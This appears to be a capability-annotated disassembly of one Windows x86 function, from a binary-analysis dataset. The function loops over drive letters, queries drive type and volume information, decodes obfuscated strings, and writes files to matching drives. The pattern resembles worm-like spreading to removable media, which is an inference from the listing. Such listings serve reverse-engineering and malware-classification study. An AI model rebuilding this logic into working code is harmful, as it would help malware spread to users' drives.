Function at 0x40a168
Capabilities:
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x30
push 0
push 0
dec ecx
jne 0x40a170
push ecx
push ebx
push esi
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x40a645
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [ebp + 0xc], 0
je 0x40a19d
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
jne 0x40a1c9
lea eax, [ebp - 0x148]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.004098ac
mov eax, dword [ebp - 0x144]
call fcn.00403cd0
mov dword [ebp + 0xc], eax
lea edx, [ebp - 0x30]
mov eax, ebx
call fcn.00409cd4
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
add ebx, 0x41
lea eax, [ebp - 0x14c]
mov edx, ebx
call fcn.00403a6c
lea eax, [ebp - 0x14c]
mov edx, 0x40a660
call fcn.00403ad8
mov eax, dword [ebp - 0x14c]
call fcn.00403cd0
mov ebx, eax
push ebx
call sub.kernel32.dll_GetDriveTypeA
cmp eax, dword [ebp + 0x10]
je 0x40a258
cmp dword [ebp + 0x10], 0x41
jb 0x40a60c
lea eax, [ebp - 0x150]
mov edx, dword [ebp + 0x10]
call fcn.00403a6c
lea eax, [ebp - 0x150]
mov edx, 0x40a660
call fcn.00403ad8
mov eax, dword [ebp - 0x150]
call fcn.00403cd0
push eax
push ebx
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x40a60c
push 0x32
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0xc8
lea eax, [ebp - 0x10d]
push eax
push ebx
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x40a60c
lea eax, [ebp - 0x154]
mov edx, ebx
call fcn.00403a7c
lea eax, [ebp - 0x154]
mov edx, 0x40a66c
call fcn.00403ad8
mov eax, dword [ebp - 0x154]
call fcn.00403cd0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x158]
mov edx, ebx
call fcn.00403a7c
lea eax, [ebp - 0x158]
push eax
lea edx, [ebp - 0x15c]
mov eax, dword [ebp + 0xc]
call fcn.00409898
mov edx, dword [ebp - 0x15c]
pop eax
call fcn.00403ad8
mov eax, dword [ebp - 0x158]
call fcn.00403cd0
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x164]
mov edx, 0x1b
mov eax, 0x40a680
call fcn.00409aa4
push dword [ebp - 0x164]
push 0x40a694
push 0x40a6a0
lea eax, [ebp - 0x168]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x168]
push 0x40a694
push 0x40a6b0
push 0x40a694
push 0x40a6cc
lea eax, [ebp - 0x16c]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x16c]
push 0x40a694
push 0x40a6e8
push 0x40a694
lea ecx, [ebp - 0x170]
mov edx, 0x1b
mov eax, 0x40a708
call fcn.00409aa4
push dword [ebp - 0x170]
push 0x40a694
lea ecx, [ebp - 0x174]
mov edx, 0x1b
mov eax, 0x40a730
call fcn.00409aa4
push dword [ebp - 0x174]
lea eax, [ebp - 0x178]
mov edx, dword [ebp + 0xc]
call fcn.00403a7c
push dword [ebp - 0x178]
lea eax, [ebp - 0x160]
mov edx, 0x10
call fcn.00403b90
mov eax, dword [ebp - 0x160]
call fcn.00403cd0
mov ebx, eax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x20]
call fcn.00409cd4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x17c]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x17c]
call fcn.00403ad0
cdq
push edx
push eax
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x40a401
cmp eax, dword [esp]
pop edx
pop eax
jne 0x40a43b
cmp dword [ebp - 0x14], 0
je 0x40a4d5
lea eax, [ebp - 0x180]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x180]
call fcn.00403ad0
mov ecx, eax
mov edx, ebx
mov eax, dword [ebp - 0x14]
call fcn.00409a30
test al, al
jne 0x40a4d5
push 0
mov esi, dword [ebp - 0x20]
push esi
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push esi
mov eax, dword [0x414bd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40a4c1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0xffffffff
je 0x40a4a6
push 0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x184]
mov edx, ebx
call fcn.00403a7c
mov eax, dword [ebp - 0x184]
call fcn.00403ad0
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a4c8
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 0x20]
call fcn.0040a14c
cmp byte [ebp + 0x14], 0
je 0x40a4f7
mov eax, dword [ebp - 0x20]
call fcn.00409b44
test al, al
jne 0x40a4f7
mov eax, dword [ebp - 0x20]
call fcn.00409c34
cmp dword [ebp - 0x14], 0
je 0x40a505
mov eax, dword [ebp - 0x14]
call fcn.00402538
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
call fcn.00409cd4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x30]
jne 0x40a545
cmp dword [ebp - 0x18], 0
je 0x40a5dc
cmp dword [ebp - 0x1c], 0
je 0x40a5dc
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
call fcn.00409a30
test al, al
jne 0x40a5dc
push 0
mov ebx, dword [ebp - 0x24]
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push ebx
mov eax, dword [0x414bd4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40a5b9
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0x10], 0xffffffff
je 0x40a59e
push 0
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteFile_1
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a5c0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x414bf8]
mov eax, dword [eax]
call eax
ret
mov eax, dword [ebp - 0x24]
call fcn.0040a14c
cmp byte [ebp + 0x14], 0
je 0x40a5fe
mov eax, dword [ebp - 0x24]
call fcn.00409b44
test al, al
jne 0x40a5fe
mov eax, dword [ebp - 0x24]
call fcn.00409c34
cmp dword [ebp - 0x18], 0
je 0x40a60c
mov eax, dword [ebp - 0x18]
call fcn.00402538
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jne 0x40a1db
cmp dword [ebp - 0x1c], 0
je 0x40a627
mov eax, dword [ebp - 0x1c]
call fcn.00402538
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a64c
lea eax, [ebp - 0x184]
mov edx, 0x11
call fcn.00403954
ret